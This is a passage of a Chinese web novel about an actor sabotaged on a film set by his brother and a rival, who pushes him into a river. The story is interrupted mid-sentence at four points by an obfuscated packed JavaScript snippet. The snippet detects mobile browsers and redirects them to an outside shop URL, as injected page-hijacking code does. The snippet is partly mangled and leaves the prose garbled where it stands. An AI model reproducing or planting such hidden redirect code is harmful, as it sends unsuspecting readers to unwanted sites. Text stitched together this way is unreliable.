自动落锁的啪嗒声传来,沈陌遥却无心也无力再关注贺晔琉是否离开,他急促地喘了一阵,等待眩晕过去,伸手把嘴边咬出来的血抹掉,将橙子味的水果糖咬碎了咽下肚,兀自扯着嘴角笑了笑。 又是什么时候起,他和贺晔琉之间也变成了这副模样呢? 他眨眨眼,对于这个问题一时找不到准确的答案。 但他能清晰地感觉到,记忆里那些美好的碎片正随着贺晔琉这些看似求和,实则指责的话语一点一点出现裂痕,最后彻底在心头炸开,化为齑粉,把他心上仅存的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281034|151833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几处完好的角落划得支离破碎,遍体鳞伤。 这样的疼痛不像刀子捅进去那样剧烈,却像是被千万只小虫噬咬,是一种密密麻麻的,酸涨的阵痛。 他不想这样。 他……也会害怕。 不过,贺晔琉倒一直是个敏锐的人。仔细想来,自己确实已经有好些天没有好好吃饭了。 沈陌遥恍恍惚惚地想,刚才那样严重的低血糖的症状大概是身体发出的一种警告——也许不止是低血糖,但他也无心再思考太多,只想着必须吃点什么,拆开一包车上放着的苏打饼干就往嘴里塞。 然而长时间未进食的身体却拒绝着这样堪称糊弄的举动,那块饼干像是堵在嗓子眼,怎么也吞不下去,他不得不抖着手打开水杯猛灌了几口,却被呛的激烈地咳起来,没能咽下去的水顺着下巴浸湿衣领,狼狈极了。 此时倒是要感谢他当年选择给车窗贴了防窥膜,就算贺晔琉还站在外面,也不会看见车内的任何事情。 沈陌遥摸着仍然跳得有些不规律的心脏,很有自知之明地知道现在的状态并不适合开车,索性将座椅放平,从置物箱顶层的上锁的格子里拿出一块乳白色的吊坠握在手里,缓缓躺下来。 这些年来,每当他觉得太累,太难熬的时候,总会这样一个人窝在车里呆一会儿。 “悄悄告诉你,我在外婆送给我们的这个吊坠上施了魔法哦!它一定会保佑哥哥成为大明星的!” “外婆一直相信,我们家小陌一定会成为最棒的演员的。” 不曾留住的美好年月里,那些动人的话语仿佛化作实质的阳光,春风般轻柔响过耳畔,沈陌遥把吊坠戴在脖子上,塞进贴着心口肌肤的位置。 玉石质地触感微凉,他却只感觉到温暖。 这是他不会消散的,永远的温柔乡。 “……我又想你们了。” 他发出微不可闻的呢喃,侧过身在座椅上蜷缩起来,拇指隔着衣料磨蹭着吊坠,缓缓阖上眼睛。 · 沈陌遥这一觉睡得断断续续,即使是中途醒过来也觉得浑身无力,胸闷气短,只能支起上身费力地喘上一阵,过不了一会儿便会重新昏睡过去,直到第二天下午才被一阵电话声彻底吵醒。 他被铃声激得有些心慌,揉了揉心口,活动着酸涩僵硬的身子接起电话,秦玥在那头兴奋地告诉他,《浪潮》导演组刚刚致电,恭喜她沈陌遥成功获得了商渡这个角色。 两方签约后,剧本围读以及之后的定妆照拍摄等等行程即将逐一展开,剧组的开机仪式也很快将在月底于浒市举行,随后就将进入紧张的拍摄周期。 秦玥还忧心忡忡地提到,光曜传媒新签了一个很有天赋的新人演员,姓叶。据传,沈凌夏这次以替《浪潮》提供海外宣发和播出渠道为条件和梁森炜达成合作,提出为那个新人换取剧中的一个角色。 “听说他们今早开会时,光曜传媒那边甚至希望直接截胡商渡这个角色,被梁导那边严肃拒绝了。”秦玥的语气有些欣慰,“看来这些大导演还是有些职业操守的——不过,他们也不愿意舍弃曜传媒给出的好处,今天导演助理打电话给我时我旁敲侧击了一下,说是决定为那个新人在本里多加一个小配角。” “所以你也要做好准备,那新人大概率和你同龄才会想抢商渡,如今虽说换了个新角色,肯定也是要剥削一点原本独属于你的戏份的。” “嗯,围读会时我会注意。” 沈陌遥掩唇咳了咳,起身的时候又有一阵眩晕袭来,他抵住车窗,下意识攥紧手中的吊坠,好像这样简单的握着就能从中汲取到能量,让他又可以勉强捱过接下来的一天又一天。 13. 潮水 《浪潮》剧组的开机仪式当天清晨,浒市影视城内人满为患。 虽说主旋律正剧理应是不会在开播前受到太多关注的题材,但架不住梁森炜本人在国内的知名度太高,而且饰演男主角陆锦昇和女主角宋绍光的都是正当红的一线演员,两人都在演技广受好评的基础上拥有不小的粉丝群体,众多配角演员中也有不少自带流量,虽然剧组已经严正声明谢绝粉丝到场,但场外仍然围了不少人,快门声此起彼伏。 临时搭建的后台内,剧组演员们穿着印有剧组logo的连帽衫,正在互相寒暄,其中的大部分人在围读会时已经见过沈陌遥,又知道他只是个幸运入选的选秀出身底层小艺人,因此再次见到也只是简单点个头就将他略过,凑到男女主演身边闲聊。 沈陌遥对此并不在意,他不是喜欢聊天的性格,参演电视剧也仅仅只是为了留下好的作品,提升自己的个人能力,在和以梁森炜为首的导演组一行人打过招呼后就独自坐在角落闭目养神,把随行的秦玥气得不轻,带上萧宵就不知跑去了哪里社交。 开机前的十几天,为了能以最好的状态演绎角色,沈陌遥推掉了一切通告,除了偶尔跟进一下手里的两个盛天子公司的核心项目进程,就全身心沉浸在研读剧本、走戏和健康管理上。 他努力恢复正常饮食,也破天荒地主动去了医院,在医生“这么晚才来治你是想拖成重症肺炎吗”的责备声中,进行了近一周的治疗,总算把肺部感染的情况及时控制住,不再反复起烧。 医生听说他是个演员,马上要进组,还特地提醒他一定不能连续工作太久,要注意劳逸结合,养护本就不太好的心肺功能。 随后,他约了私教进行少许健身训练,如今虽然和健壮仍相距甚远,身上却不再是皮包骨头,有了薄薄一层流畅的肌肉,整个人的气色也比之前好了很多,不再苍白虚弱,嘴唇也很少再泛起浅紫色。 没有通告的这些天,沈陌遥仍然习惯于把每天的行程都排得很满,以强迫自己不会受困于之前那些糟糕回忆的漩涡中。 虽然笼罩在心头的那股近乎麻木的疲倦感即使去了医院也没能改善……但他现在还没到要自我放弃的程度。 即使已经孤身一人,伤痕累累,他也固执地认为自己还能再坚持一会儿。 就像那块被保护得很好的玉石吊坠。 靠着那些依稀的温存,他就可以继续撑下去,直到把想做的事情完成为止。 至少这个时候的他是这么想的。 开机仪式前半小时,作为合作方的沈凌夏带着硬要当临时助理的沈佑麟突然出现在后台,找上了沈陌遥。 “快一个月没见,二弟如今看上去真是光彩照人。” “又让你失望了?” “那怎么会……”沈凌夏又戴上一副细边眼镜,狭长的眼睛在镜片下闪了闪,“看到你这样,我可就放心了。之前你那副病弱的模样,大哥看了很是心疼呢。” “哼,以前还不是他装出来的。”沈佑麟愤恨地在一旁嘟囔,似乎还对之前生日宴的事耿耿于怀。 “公众场合注意言行,小弟。”沈凌夏些许严厉地指责,“过去的事就不要再提了。二弟,我还没来得及恭喜你获得梁导的认可,拿下商渡这个角色呢,我们公司看好的新人都被你比了下去。” 沈陌遥没说话,他的视线悄悄落在沈佑麟的手腕,发现他正带着一块没见过的黑色腕表,眼神不由黯了黯。 “你知道吗?外祖父已经获知我们现在都以不同的方式深耕于国内娱乐业。”沈凌夏推了推眼镜,向沈陌遥走近俯身,旁人看来仿佛是在虚虚拥着他,兄友弟恭似的。 他贴在沈陌遥的耳侧轻声说:“关于继承人,他一向只认可站到最后的强者——所以你猜猜,是孤苦伶仃撑着六翼娱乐的你先被摧毁,还是已经签下近十名国内知名艺人的我?” 沈陌遥蹙着眉站起身,视线扫过眼前男人和自己母亲过分相像的细窄鼻梁和薄唇。 在和外祖父母生活的那几年,他曾无意间得知,查尔斯和姜瑾只有姜鹤这一个独女,也因此,他很早就明白,沈凌夏并非是沈家对外宣称的那样,是姜鹤早逝的姐姐留下的孩子,而是因为他真正的身世于沈家而言有些难以启齿,才会托用这样的表达去掩饰。 沈凌夏进入沈家的动机不纯,他很早就知道。只是他没想到,沈凌夏的野心如此之大,他所觊觎的,从一开始就不只是盛天。 ……又或者说,盛天只是他计划中的一部分,他最终的目标,是查尔斯掌控中的那庞然大物。 “哦对了,看到二弟你身体已经没有大碍……我也就可以放心在你的剧情里添上浓墨重彩的一笔了。”沈凌夏自顾自说着,薄薄的嘴唇弯出一个意味深长的弧度,“相信你会喜欢的。我很期待看到你在这部戏里大放异彩,二弟。” 他转过身,嘴唇扇了扇,眼神有意无意地落在不远处的人群,唇边有颗小痣的清秀男生正朝导演助理腼腆地笑着,白色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14281035|151833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的套头衫穿在他身上显得格外纯良无害。 “希望我没有看走眼……那小子应当是颗相当不错的子弹。” · 开机仪式结束后,前两周的通告单和终版剧本被送到各个演员手中,沈陌遥简略地翻了翻,在下午庆贺开机的酒会上带着疑惑来到梁森炜和刘枫面前。 在原先的剧本中,商渡因为长期将教会的重要情报暗中传递给男主角一事暴露,面临教会的追杀,他不愿死在教会手中或成为俘虏,毅然决定服毒求死,却被一位偶然路过的医生幸运救下。 然而,在新发的剧本和通告单中,这段剧情被全部删去了。 取而代之的,是商渡被逼入绝境后求死的剧情竟然被添加到主线的沿江邮轮剧情中。新剧本中,商渡跟随戏班登上邮轮为教会高层表演戏曲,却意外暴露自己的间谍身份,无路可退之下,他选择了投江自尽,被偶然路过的渔船打捞起,侥幸活了下来。 “这个啊,我们也是这两天才完全定下来。”刘枫举着一杯鸡尾酒朝他示意,“这是光曜老板,呃,也就是你大哥的建议——是他提出把你的假死并入主线。不过,导演组讨论后确实也认为这是一个更好的选择,既能丰富主线,跳江赴死也能给观众留下更强的视觉冲击。” “怎么样,这可是把你的个人高光放进了整部剧的高潮剧情里,对你来说肯定是喜事一桩吧?至于落水的戏,你也不要太担心,虽然我们梁导一向喜欢实景拍摄,安全措施肯定是很到位的——你会游泳吧?” 刘枫拍了拍身旁青年的肩膀,却发现他仿佛被定住般,拿着酒杯的手都僵硬着悬在半空。 沈陌遥的眼瞳骤然紧缩。 此时此刻,他终于明白沈凌夏所说的“在剧情里添上一笔”的含义。 他出现瞬间的无措,视线在空中无助地飘了飘,最终有些失焦地定在刘枫手中的那杯蓝色渐变鸡尾酒上。 那其中的液体正微微浮出细小的气泡向液面上方翻涌,他盯着那些晶莹的气泡,却看到它们沸腾着把玻璃杯中的液体顶出杯缘,水色很快膨胀开,连成一片汪洋似的潮水,翻涌着朝自己席卷而来。 气泡升腾中,无穷尽的水流遮天蔽日般充斥他的视线,周遭的声音逐渐远离,他好像忘记如何呼吸,脊背无法克制地剧烈颤抖。 …… 十四年前,他的妹妹由于溺水引发的不可逆大脑损伤被诊断为脑死亡,不久后,生命永远停在了他们十一岁生日前的那天。 14. 下沉 “为什么忽然这么悲观?” 偌大的甲板上阳光充沛,一个梳着背头,身穿西服的中年男人坐在遮阳伞下,他手中拿着一张酒水单,倒映在监视器上的侧脸刚毅英俊。 他的声音低沉,嘴唇细微扇动间透出些许探究:“上次见面的时候你还不是这样。” “悲观是人之常情,陆锦昇。”系着制服围裙的年轻男子有一双漂亮的黑眼睛,他正微微躬身做出替坐着的男人擦桌面的动作,声音压得很低,腰身在围裙勾勒下显出细窄的曲线,从镜头里看过去有种不盈一握的脆弱,整个人却有种沉稳坚韧的气质。 “世界上没有不透风的墙。” 他垂着纤长的眼睫擦完桌子,将抹布对折系在腰间,抬眼看向江流对岸遥远的地平线,眼中闪过一丝眷恋。 “如果我没能走下这艘船,替我——” 他的低语被一阵脚步声打断了。甲板的楼梯处出现几个身穿教团制服,腰间別着枪的男人,嘻嘻哈哈地大步朝两人所在的露天吧台走来,在邻桌坐下。 年轻男子的脊背微微绷紧,他没有继续先前的对话,而是从腰侧拿出笔和小本子,用正常音量询问。 “一杯曙光依旧对么,先生?” 中年男人愣了愣。 “对,一杯曙光依旧。” 过了半响,他才有些恍惚地重复,末了又深深看向年轻的服务生,像是在进行一场郑重的道别。 “再要一杯……春日再临好了。” “Cut!” 梁森炜坐在临时搭建的导演棚里,从监视器前站起身子,朝远处的两人连连鼓掌。 “完美!”他发出罕见的称赞,“情绪和节奏都非常好!” “小沈,我怎么感觉你比上周又精进了?”饰演陆锦昇的陈夕霖是童星出身,他自幼以片场为家,和无数大大小小的演员搭过戏,可眼前这个不过二十多岁的新人演员对节奏天然的把控和对情绪的拿捏却仍然让他感到不可思议。 “难以想象你是非科班出身。你要是再这样进步下去,估计很快演技就超过我了。” “您太抬举我了,前辈。” 镜头之外,沈陌遥又变回了那个谦逊沉静,又带着一点淡淡疏离感的青年。 开机后,经过一周的磨合,剧组的工作人员无论是演员还是幕后都基本相互熟悉,沈陌遥也通过出色的表现打破了众人对他的刻板印象,在剧组中受到不少照顾。 他入戏快,悟性高,任何导演点出的小问题也都能立刻改进,在为数不多的戏份里都有着出色的发挥。在戏外,他等戏时总会安静地在一旁看书或读剧本,漂亮的脸上从未出现过不耐烦的情绪,也从来不使唤工作人员,虽然话很少,却依旧得到很多人的喜爱,大家见到他总会笑着喊上一声沈老师。 “以你的资质,只要坚持在演员这条路走下去,早晚有一天要拿到金龙奖的。”陈夕霖笑着拍了拍他的背,“对了,夜里好像就轮到你跳江那场戏了吧?那可是商渡的高光时刻,预祝你有个好发挥。” “谢谢前辈。” 沈陌遥微笑着点头,走回休息区的时候视线却下意识越过游轮,落在甲板之外看似平和的江面上。 好像突然被一只无形的大手扼住喉咙,他有些狼狈地停下脚步扶住护栏,闭上眼睛深深呼吸,平复有些紊乱的心跳。 没事的。 他用发麻的手指按了按心口,告诉自己。 只是稍微碰到一点水而已……别总是这么脆弱。 由于现在已经接近十一月中旬,浒市的气温在月底很快会迎来骤降,因此沿江邮轮相关的剧情在第二周就被安排拍摄,以防江水的温度太冷,对演员造成风险。 临近晚上的开工的时间,叶溪带着甜美的笑容出现在片场和工作人员们问好。 新版剧情中,被教团追杀,走投无路的商渡在底层甲板遇到了叶溪所饰演的田子臣——也就是光曜传媒和导演组进行商议后,决定在剧本中额外添加的新角色。 他是一名教会高层的养子,涉世未深,善良单纯。在邮轮上,他与白天兼职服务生,晚上在大舞台演唱戏曲的商渡相识并成为朋友,自父亲口中听说商渡被举报存在通敌行为,已经下令抓捕后,他率先找到了他,试图劝说他不要放弃生命,并表示自己会出面向父亲求情,对他网开一面。 在新人演员当中,叶溪的演技其实不算差,演起哭戏来可谓是我见犹怜。若是拿去演些肥皂剧,这样的功力可谓绰绰有余,奈何放进这样优秀演员云集的正剧中就有些不够看。 在开拍前和沈陌遥走戏时,比起演绎角色,他的表演方式反倒更像是在展现作为“叶溪”而存在的个人魅力点,即使情绪足够充沛,在镜头里的一举一动都有比较重的表演痕迹。 “小叶,你要多思考一下节奏的问题。对手给出的台词你要沉浸在角色中去消化,才能做出有真实感的表演。” “现在的你,很难接住小沈的戏。” 梁森炜叹了口气,摇了摇头往导演棚走去。 “马上我们先过一条吧,主要保走位,不用紧张。” 叶溪盯着中年男人远去的身影,脸上向来雷打不动的甜美笑容裂开一条细微的口子。 为什么? 在决定以演员身份出道后,大大小小的课程他上了不少,付出了相当大的努力,也一直被夸奖说很有天赋,甚至得到了那个光曜传媒的欣赏,签约后很快获得了S级项目里的角色。 但为什么到了这里,沈陌遥反倒成了剧组的人们口中公认的天才新人? 明明自己一直在主动社交,面面俱到,连场务和后勤助理这种底层职业都有一直在笑脸相迎。 而沈陌遥都不怎么和人主动打招呼,却总是能被很多人围着闲聊。 难道就因为他是沈氏的少爷? 叶溪朝甲板边缘走了几步。 …… 马上,就在这个位置,就要拍到沈陌遥演的那个角色落江的戏码了。 他看着昏暗无光的水面,脑中忽然响起今天来片场前自家老板的嘱咐。 “我二弟他对这种水域容易产生类似创伤后应激障碍的情况,小叶,在拍摄时还要麻烦你多照顾他。” “一定要让他做好心理准备再进入拍摄,不然我有些担心他在水里应激,引起溺水……你知道的,他本来身体就不好。” 叶溪知道,正式录制的时候,江面上会有打光,负责接应的救生员会在一旁守着,导演组的助理们也会全神贯注在不远处的岸边待命。 但……现在是在正式拍摄之前,场上还没有这么多准备。 一个危险的想法在脑海中逐渐成型,叶溪感到心脏在胸腔里迟缓又沉重地跳了两下。 既然你大哥耳提面命地交代我要好好照顾你—— 额外的“照顾”,怎么不算照顾呢? 反正这只是个小小的恶作剧,甚至别人看来只会是个意外。 他发誓,他只是想让沈家这个天天冷着一张脸,像是在用鼻孔看自己的少爷吃点苦头。 这个甲板并不高,即使毫无防备地摔进海里也不可能受伤,而深秋夜晚的江水很凉,用来吓唬他一下正正好。 “沈陌遥哥哥。”他听到自己在夜色中显得温柔的声音,“你可以过来一下吗?我想和你商量一个事。” 沈陌遥明显听见了他的话。 在甲板四周亮起的暖黄色灯管映照中,叶溪看见他远走的身形顿了顿,像是短暂犹豫了一瞬,却还是选择和身边的助理打了声招呼,独自一人走到他身边。 “什么?”他问。 “就是想请教一下,一会儿我不是有一段伸手抓你但是没抓到的剧情吗?剧本里对这个动作写的不是很清晰,所以我想问问你,你觉得我抓你哪里比较好呢?” 叶溪走近他,声音很轻。 “像这样抓着领口,可以吗?” 他调整姿势,用自己的身体遮住甲板上所有人的视线,无视沈陌遥皱眉的抗拒,将手放上他的领口。 然后,只需要轻轻一堆。 也许是刚下过雨,地板很潮湿,也许是沈陌遥比他预想中的还要轻一些,他只不过用出六七分力气,就看到沈陌遥带着些微错愕的脸离自己越来越远。 沈陌遥的身体快速往后倒去。 他终于明白究竟发生了什么,下意识朝前伸手,却看见叶溪袖口的孔洞和自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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漆黑浑浊的江水中,沈陌遥用最后一点残存的意识,憋着一口气朝着冒出光亮的地方游去。 “快点!救生员怎么还没到位?” “准备毛巾,热水!” “光往那边打——我看到人了,我看到人了!” 冲出水面的瞬间,沈陌遥感到耳朵传来一阵挤压似的闷痛。 在哗啦的水声中,他大口喘息着,抖着手抹去眼眶周围和睫毛上挂着的水滴,看见岸边和甲板上都站了不少人,朦朦胧胧的一片。 好像很多人在大声喊着什么,但他耳中尽是水流的沉闷回响,巨兽低吼似的,什么都听不清晰。 “怎么只出来一个人?” 沈陌遥隐约捕捉到岸边传来的那句话,记忆在汹涌冰寒的江水中仿佛逆着血液回流,他终于想起,似乎叶溪也一并掉进了水里。 他用仍旧模糊的视线在周围的水面上扫了扫,终于在船身的阴影处,被扔到水面上的一只救生圈边上不远处看见了叶溪不断扑腾的身影。 叶溪显然并不会游泳,他只是在水中无助而绝望地挥着四肢,连近在咫尺的救生圈都够不到。 要是就这么不管……恐怕在救援人员赶到前,他就会先坚持不住。 沈陌遥没有犹豫。 老实说,他已经不知道自己为什么还有力气了。 深秋的江水冷得彻骨,但他就是顶着那口气,挣扎着游到叶溪身边,伸长手臂抓住橘红色的救生圈。 虽然叶溪不是什么好人……但他却并不想看到他就这样丢掉性命。 沈陌遥一手攥着救生圈,另一只手用尽全力托着叶溪,他却挣扎得厉害,整个人攀在他身上,下意识把他往下拽以让自己的脸浮出水面。 他陷在溺水的恐慌中,下手没有轻重,接连几下肘击和踢腿都结结实实打在沈陌遥身上,令他胸口和腹部都是一阵剧痛。 窒息感很快传来,沈陌遥接连呛了好几口水,双手都脱了力,只能在逐渐模糊的意识中放任自己再次没入冰冷的江水里。 15. 冰结 恍惚中,救生员终于在千钧一发之际赶到。 沈陌遥猛地感受到一股向上支撑的力,接着就是一阵天旋地转,等他再回过神来的时候,已经被人半抱着送到岸边。 他跌跌撞撞地支起身子,身上各处泛着咸腥的江水顺着皮肤和湿透的戏服朝下淌,感到脑袋昏沉的厉害,肺里也堵得慌,明明已经在岸上却很难汲取氧气,一抬眼却看见贺晔琉冲出安保的阻拦,冷着脸和他擦肩而过,手上拿着一块蓬松的浴巾。 “沈陌遥,我没想到你是这种人。” 他丢下一句话,再没看他,径直走到在岸边一边咳水一边瑟瑟发抖的叶溪身旁,脸上的冷意消失殆尽,转为满脸的心疼,用浴巾将他紧紧裹住,重获至宝般拥在怀里。 耳鸣渐渐淡去后,一片闪光灯中,沈陌遥终于听见七嘴八舌的议论声。 他有些茫然地抬头,在仍旧有些模糊的视线中看到很多人的脸。 好像和之前片场的大家没什么不同,有人手中拿着场务的文件袋,有人扛着贵重的斯坦尼康,有人举着打光板和收音设备,有人穿着导演助理的衣服。 他们围在他身边,他们包围着他,像是雨后丛生的茂密杂草一根又一根从泥土地里冒出,包裹荒芜的山丘,却留出了一点刻意的空隙。 他们的脸上没有五官,只有京剧脸谱一样的面具,有着绿色,白色,黑色,或蓝色的脸庞,眼睛和嘴巴都是黑洞一样漆黑的窟窿,看着让人心里发怵,从空洞里发出来的声音或高或低,层层叠叠,却显得尖锐而刺耳。 “你们都看到了吗?好像是他滑了一跤,却把小叶老师给一起拉下水了!” “对啊,他一直占着那个救生圈不放,另一只手还在扯叶溪,像是想把他给甩开。” “真是太自私了,怎么会有这种人?亏我之前还喊他沈老师!” “所以他根本就是个顽劣的少爷,那些谣言都不是空穴来风。” “没事,应该有不少人都拍到了,很快就会把他的劣迹曝光的!” 好像被一把烧红的铁钩洞穿胸膛,沈陌遥的心脏猛烈抽搐了一下,产生尖锐的刺痛。 眩晕感很快袭来,他差点一头栽倒,那些围着他的面具人却只是无动于衷地站着,好像在冷眼旁观他演一出孤零零的独角戏。 但很快,那些面具人也跟着他发晕的脑子一并旋转了起来。 这次,他们不再是片场里的人们的打扮,换上了别的装束。 他再次听见很多声音。 戴着管家手套的人谨慎地分析:“以少爷和小姐的关系,应该确实是少爷要求小姐陪同自己去医院的。” 系着保姆围裙的人小声哭着:“当时我也呛了水,少爷又死死缠着我,我才没能及时去后排救小姐出来,真的!” 身穿护士服的人声音透出惋惜:“听说是这孩子生病想要妹妹陪着来医院,结果出了车祸,保姆车侧翻到河里。他妹妹溺水时间太长,脑子已经不太行了,他倒是命大。” …… 别再说了。 沈陌遥狼狈地捂住耳朵。 好吵啊。 为什么谎言的声量总是这么大? 他不能再待在这里了。 他要离开。 他的身体连番大幅晃动,却始终没有直接倒下去,就那样歪歪扭扭地冲开人群——甚至不需要他冲开,那些人在他靠近的时候就如同受惊的鸟雀一般四散而开了。 沈陌遥背着月光在江边的一条水泥路上走。 他不清楚自己走了多远,但至少他周围那些嘈杂的声音都逐渐消失了。 他盲目地走着,直到自己的呼吸变得愈发费力,手脚逐渐变得沉重。 在一片朦胧的街灯中,他缓缓停下脚步。 眼前模糊的景象逐渐如同被加上了实线描边般清晰起来。 道路的中央,6岁的沈佑麟咬着手指站在他面前,歪着脑袋困惑地看着他,短短的头发逆着圆溜溜的额头翘起来。 “哥哥,姐姐去哪里了?” “妈妈说,你把姐姐害死了,我再也见不到姐姐了。” 小脸肉嘟嘟的沈佑麟眨巴着棕色的大眼睛。 “什么叫害死了?是你把姐姐藏起来了吗?” “不是的,小佑。” 沈陌遥朝沈佑麟伸手,试图去拉他藕节一样肉乎乎的手腕,他却好像不乐意,明明是那么小的一只,劲却很大,又或者是他现在太虚弱无力,他尝试了很多次,都没能把他拉到自己怀里。 “我没有害死过任何人。” “你没有?”沈佑麟卷翘的睫毛扬了扬,稚嫩的声音却诡异地随着他的话语一点一点变得低沉。 “哥哥,你说谎。” 他的个头也开始长高,沈陌遥半蹲着,竟看到他的四肢开始急速抽条,肩膀也变得越来越宽厚,直长到一个自己要完全抬起脖子仰视的高度。 20岁的沈佑麟站在他面前,在寒凉的月色下冷冷地看着他。 “小佑……” 沈陌遥有些茫然地眨眼,也许是被江水灌坏了脑袋,他一时没反应过来发生了什么,却仍旧把沈佑麟垂下来的手腕攥在手里。 他的手抖得厉害,上面带着江水的森森寒意,隐约还有些腥咸的味道。 沈佑麟垂眸,满是嫌弃地看向抓住自己的那只手。 纤长细瘦,指骨分明,指甲修剪得很整齐,因为长时间泡在水里,指尖的皮肤有些许褶皱。 半小时前,他站在岸边,作为合作方和剧组的人闲聊时,听见落水声和惊呼声后有些担忧地朝江上探头,看到的正是这样一只手。 照明灯光打向水面,那只在水里沉浮的手被炽白的光一照,更加显得惨白,好像江里的水已经渗透他的皮肤,流进他的血管里。 他的心不由自主地悬了起来,甚至想直接暴力冲破人群直接跳进江里拉住那只止不住战栗的手的时候—— 却看见那只手急切地抓住明显是被扔在另一个人身边的救生圈,把它自私地圈在怀里,另一只手还挡着另一名落水者在水中不断扑腾的手。 像是想将他彻底从自己身边推开。 沈佑麟深吸一口气,缓缓开口。 “以前,从没人和我详细说过那起事故的细节。” “很多人告诉我,是你害死了姐姐。” “但我其实……一直没有完全相信。” “虽然我不太喜欢你,但我从来没真的恨过你,二哥。” “之前我过生日,我和你说了气话,我说我宁愿十四年前是你替姐姐去死。” “其实说完我稍微有点后悔,因为我觉得说得太过分了。” “我甚至有想过为此和你道歉。” “我总觉得你不是,至少不至于是那么自私,那么恶毒的一个人。” “直到刚才。” 他平静地、慢慢地陈述着,用另一只手把沈陌遥的冰冷手指一根一根从自己的手腕上掰下来,像是在扯一团肮脏不堪的垃圾。 他捏着沈陌遥的指节,把他的手掌带到空中,然后松开手。 于是那只苍白的手没有一点停顿,像是坠跌的飞鸟,狠狠垂落下去,磕到路边凸起的石块上发出很轻地一声响。 “刚才的事我全都看到了,二哥。” “所以十四年前,你是不是也像现在这样,在水里对姐姐见死不救,甚至想要甩开她?” 沈佑麟的眼眶微微泛红,语调逐渐抬高,好像极力克制着彻底爆发的冲动。 “是你夺走了姐姐,夺走了外婆,夺走了曾经温柔的妈妈和我们完整的家!” “妈妈说的没错,你就是一个十恶不赦的罪人。你把我们家害成这样,现在还要去害别的无辜的人。” “所以现在,我要重新和你说一遍。” “我开始恨你了,哥哥。” “虽然我知道,你的命换不回那些被你害死的人……” 他朝沈陌遥俯下身子,嘴唇就要贴上他潮湿的脸颊,吐出来的话却似乎能冻结他发丝间的水珠。 “但我仍然非常、非常希望你可以去死。” “我不想再见到你。” 沈陌遥终于重新抬起头来看向沈佑麟。 他肩膀轻颤,脸色微微泛起青白,仿佛刚才掉进的不是临近冬日的江里,而是寒冰地狱。 好像整个身躯先是被冻结成一块冰雕,又被人用蛮力连同灵魂一起击溃了,散落成无法重新拼接的碎片。 “……好。” 他沉默了一会儿,脊梁弯下来,哑着嗓子应了一声。 沈佑麟发泄了一通,竟意外得到了这样一个顺从的答案,他冷哼一声哑了火,起身准备离开。 很明显,沈陌遥正是因为被他说中了全部的真相,自认问心有愧,才会把他这样恶毒的诅咒云淡风轻般接下。 这也恰巧证明了他是一个多么冷血无情的人。 临走到路口的时候,沈佑麟忽然鬼使神差般回过头去,最后看了自己的二哥一眼。 那人正扶着道路旁的树干,弓着身子咳嗽,似乎吐了不少液体出来,两片蝴蝶骨透过薄薄的制服剧烈耸动着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他的脖颈如同想象中那样侧对着他,背着月光,低低垂下来。 这就对了。 沈凌夏愉悦地眯起眼睛。 他至今为止所做的一切努力,为的就是此时此刻映入眼帘的这个画面。 但很快,他发现了一丝微妙的异常。 眼前的画面和自己想象中有那么一点儿不一样。 那截露出的后颈比他想象中更苍白,更纤细,突出的颈椎骨上好像只挂着一层薄薄的皮肉,淡青色的血管在颈侧清晰可见。 但是好像少了些什么。 沈凌夏从鼻腔发出一声短促的疑惑声,眉毛压下来。 ……没有颤抖。 他终于察觉,沈陌遥那截脆弱得仿佛一拧就断的脖颈并不像他想象中那样在颤抖。 它只是静静地低垂,一动不动,甚至他整个身子都没有任何动静,连呼吸的起伏都看不见,像一块被月光定住,长满青苔的硬石头。 “怎么,这次终于不敢再嘴硬了?” “你不是很能说的吗?” 沈凌夏忽然有点没来由地冒火,他快走几步过去强硬地捏过沈陌遥的下巴,想强迫他和自己对视。 以往他用一些精心设计的圈套算计他,或是在言语上刺激他的时候,沈陌遥总会毫不避讳地用那双他最痛恨的眼睛直视他。 无论他自己身处怎样荆棘遍布的洼地,受了怎样的伤,那团总是映着碎光的黑色眼瞳之中从来都没有畏惧,也没有彷徨,凌厉得好像一把即使布满划痕也依旧能斩断任何阻碍的刀。 但是这次没有。 沈陌遥就那样安静地任由他摆布,湿透的头发贴在额头,泡过水的肌肤呈现一种近乎透明的惨白,脖子随着他的抬手微微后仰,呈现出前所未有的乖巧。 他手中尖瘦硌手的下巴带着一点不知道是冷汗还是江水的潮湿,隐约印着一点血痕,冷得摸不出常人该有的体温,湿润的眼睫细细密密垂着,半遮住眼睛,连一点细微的颤动都没有。 “和我装死?” 沈凌夏心中的烦躁愈演愈烈,他发狠似的沿着他下颌的轮廓去挤压沈陌遥脸颊两侧的一点软肉,那人竟然还是一点动静都没有。 